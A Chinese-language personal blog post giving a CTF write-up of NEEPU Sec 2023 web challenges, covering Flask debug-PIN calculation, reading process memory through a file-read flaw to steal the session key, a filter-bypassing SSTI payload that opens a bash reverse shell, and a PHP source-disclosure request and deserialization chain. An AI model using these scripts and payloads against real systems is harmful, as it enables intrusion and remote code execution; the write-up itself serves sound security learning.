Z1d10tのBlog

A note for myself,have fun!

  1. 1. Cute Cirno
    1. 1.1. 非预期:
    2. 1.2. 预期解
  2. 2. ezphp

NEEPU Sec 2023 公开赛 WEB部分题复现

我就是个纯废物

Cute Cirno

人最麻的一集 本来应该很快出结果的 还是自己太菜了

img

存在一个任意文件读取的漏洞 通过报错信息 去读app文件

img

或者访问/proc/self/cmdline去获取当前正在运行的进程

img

获得源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from flask import Flask, request, session, render_template, render_template_string
import os, base64
from NeepuFile import neepu_files

CuteCirno = Flask(__name__,static_url_path='/static',static_folder='static')

CuteCirno.config['SECRET_KEY'] = str(base64.b64encode(os.urandom(30)).decode()) + "*NeepuCTF*"

@CuteCirno.route('/')
def welcome():
session['admin'] = 0
return render_template('welcome.html')


@CuteCirno.route('/Cirno')
def show():
return render_template('CleverCirno.html')


@CuteCirno.route('/r3aDF1le')
def file_read():
filename = "static/text/" + request.args.get('filename', 'comment.txt')
start = request.args.get('start', "0")
end = request.args.get('end', "0")
return neepu_files(filename, start, end)


@CuteCirno.route('/genius')
def calculate():
if session.get('admin') == 1:
print(session.get('admin'))
answer = request.args.get('answer')
if answer is not None:
blacklist = ['_', "'", '"', '.', 'system', 'os', 'eval', 'exec', 'popen', 'subprocess',
'posix', 'builtins', 'namespace','open', 'read', '\\', 'self', 'mro', 'base',
'global', 'init', '/','00', 'chr', 'value', 'get', "url", 'pop', 'import',
'include','request', '{{', '}}', '"', 'config','=']
for i in blacklist:
if i in answer:
answer = "⑨" +"""</br><img src="static/woshibaka.jpg" width="300" height="300" alt="Cirno">"""
break
if answer == '':
return "你能告诉聪明的⑨, 1+1的answer吗"
return render_template_string("1+1={}".format(answer))
else:
return render_template('mathclass.html')

else:
session['admin'] = 0
return "你真的是我的马斯塔吗?"


if __name__ == '__main__':
CuteCirno.run('0.0.0.0', 5000, debug=True)

其实一眼扫过去就是session伪造 然后套了一层ssti

但是当时做这道题的时候看了他的key生成过程 就觉得key根本伪造不了

非预期:

然后既然之前都报错了 说明debug是开启的 源码中也表明了

呢就直接去计算pin码

网上脚本很多 主要有高版本和低版本的 这里要根据题目去选择相应的脚本版本

这道题目是高版本的

脚本如下:参考 https://pysnow.cn/archives/170/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import hashlib
from itertools import chain

probably_public_bits = [
'root' # /etc/passwd
'flask.app', # 默认值
'Flask', # 默认值
'/usr/local/lib/python3.8/site-packages/flask/app.py' # 报错得到
]

private_bits = [
'2485377568585', # /sys/class/net/eth0/address 十进制
'653dc458-4634-42b1-9a7a-b22a082e1fce898ba65fb61b89725c91a48c418b81bf98bd269b6f97002c3d8f69da8594d2d2'
# 字符串合并:1./etc/machine-id(docker不用看) /proc/sys/kernel/random/boot_id,有boot-id那就拼接boot-id 2. /proc/self/cgroup
]

# 下面为源码里面抄的,不需要修改
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

当时做题没算出pin码 不知道是哪里出的问题 甚至把所有id都试了一次

之后复现的时候 才发现被脚本中的提示稍稍误导了一下 或者是自己纯菜

1
# 字符串合并:1./etc/machine-id(docker不用看) /proc/sys/kernel/random/boot_id,有boot-id那就拼接boot-id 2. /proc/self/cgroup

脚本中提到/etc/machine-id(docker不用看) 难道赛题环境不是docker吗 我裂开

但是这道题目需要合并/etc/machine-id /proc/self/cgroup才能计算出正确的pin码

当时做题的时候一直用/proc/sys/kernel/random/boot_id /proc/self/cgroup去算 一直是错的

不过这里也不是说脚本中提到的是错的 而是做题的时候最好都试一遍 qwq

应该是先去读/etc/machine-id,如果读不到,那么就是/proc/sys/kernel/random/boot_id/proc/self/cgroup拼接了

计算出来之后 命令执行即可

img

预期解

赛后了解了一下 发现预期解太难了 是根据2022年蓝帽杯初赛改编的

然后这里key的确是伪造不出来 但是任何信息都是存在内存里 可以通过去读内存读出来 借用p神的语句https://erroratao.github.io/2022/07/10/File_Session/#%E8%93%9D%E5%B8%BD%E6%9D%AF%E5%88%9D%E8%B5%9B-file-session-%E8%A7%81%E8%A7%A3

img

这里直接贴上Boogipop 亮sensei的脚本 看得出来也是从p神稍加修改 而我连脚本都看不懂 尼玛就菜的离谱 暑假一定要去系统学一下python 好好锻炼锻炼自己写脚本的能力

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import base64
import os
import re
import requests
# print(str(base64.b64encode(os.urandom(30)).decode()) + "*NeepuCTF*")
# pollution_url="http://localhost:8848/?name=os.path.pardir&m1sery=boogipop"
# flagurl="http://localhost:8848/../../flag"
url="http://neepusec.fun:28954//r3aDF1le"
maps_url = f"{url}?filename=../../../proc/self/maps"
maps_reg = "([a-z0-9]{12}-[a-z0-9]{12}) rw.*?00000000 00:00 0"
maps = re.findall(maps_reg, requests.get(maps_url).text)
print(maps)
cookie=''
for m in maps:
print(m)
start, end = m.split("-")[0], m.split("-")[1]
Offset, Length = str(int(start, 16)), str(int(end, 16))
read_url = f"{url}?filename=../../../proc/self/mem&start={Offset}&end={Length}"
print(read_url)
s = requests.get(read_url).content
print(s)
rt = re.findall(b"(.{40})\*NeepuCTF\*", s)
if rt:
print(rt[0])

脚本大致过程就是 先去读取/proc/self/maps的信息

然后通过map里栈的地址 再去去正则匹配里面的信息

1
maps_reg = "([a-z0-9]{12}-[a-z0-9]{12}) rw.*?00000000 00:00 0"

就是去匹配这样的信息7f50caee6000-7f50cb9e6000 rw-p 00000000 00:00 0

img

然后再根据读出来的地址mem内存 然后再去通过地址范围正则匹配我们需要的key 就行了

真的tql

session伪造成功后 就是一个过滤了 很多字符的ssti

根据亮sensei的payload session 伪造的时候 通过把shell放进session 然后我们payload去截取就可以了 真的tql

1
python flask_session_cookie_manager3.pyencode-s"key"-t"{'admin':1,'__globals__':1,'os':1,'read':1,'popen':1,'bash-c\'bash-i>&/dev/tcp/ip/port<&1\'':1}"

payload:{%print(((lipsum[(session|string)[35:46]])[(session|string)[53:55]])[(session|string)[73:78]]((session|string)[85:139]))%}

然后这里需要注意 截的时候并不是我们直接看到的{'admin':1,'__globals__':1,'os':1,'read':1,'popen':1,'bash-c\'bash-i>&/dev/tcp/ip/port<&1\'':1}索引

通过{%print(session|string)%}可以打印出来 前面还有点其他信息 这是一个小细节

1
<SecureCookieSession {'admin': 1, '__globals__': 1, 'os': 1, 'read': 1, 'popen': 1, "bash -c 'bash -i >& /dev/tcp/ip/port <&1'": 1}>

通过反弹shell 就ok了 真的太强了

发现还是得去老老实实去刷一遍ctfshow的ssti 去弄明白不同的paylaod

ezphp

当时做这道题 一看界面是空白的 各种尝试之后还是啥都没有 就放弃了

看了wp 返现是php<=7.4.21远程源码泄露的漏洞 https://cn-sec.com/archives/1530845.html

其实关键是怎么发现php版本???? 并且检索到相关漏洞

可能大佬一眼就丁真了 对我比较困难

然后抓包 构造一个如下的请求头

1
2
3
4
5
GET / HTTP/1.1
Host: neepusec.fun:28426


GET /HTTP/1.1

获得源码

img

是一个pop链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
<?php
class one{
public function __call($name,$ary)
{
if ($this->key === true||$this->finish1->name) {
if ($this->finish->finish){
call_user_func($this->now[$name],$ary[0]);
}
}
}
public function neepuctf(){
$this->now=0;
return $this->finish->finish;
}
public function __wakeup(){
$this->key=True;
}
}
class two{
private $finish;
public $name;
public function __get($value){

return $this->$value=$this->name[$value];
}

}

class three{
public function __destruct()
{
if($this->neepu->neepuctf()||!$this->neepu1->neepuctf()){
$this->fin->NEEPUCTF($this->rce,$this->rce1);
}

}
}
class four{
public function __destruct()
{
if ($this->neepu->neepuctf()){
$this->fin->NEEPUCTF1($this->rce,$this->rce1);
}

}
public function __wakeup(){
$this->key=false;
}
}
class five{
public $finish;
private $name;

public function __get($name)
{
return $this->$name=$this->finish[$name];
}
}

$a=$_POST["neepu"];
if (isset($a)){
unserialize($a);
}

做不出来 是在太菜了 里面有我不会的知识点 没有属性值是怎么pop的 好离谱

乖乖去刷ctfshow

先放着吧

之后再回来填坑 我是垃圾 呜呜呜 太菜了 菜的想死

本文最后更新于 天前,文中所描述的信息可能已发生改变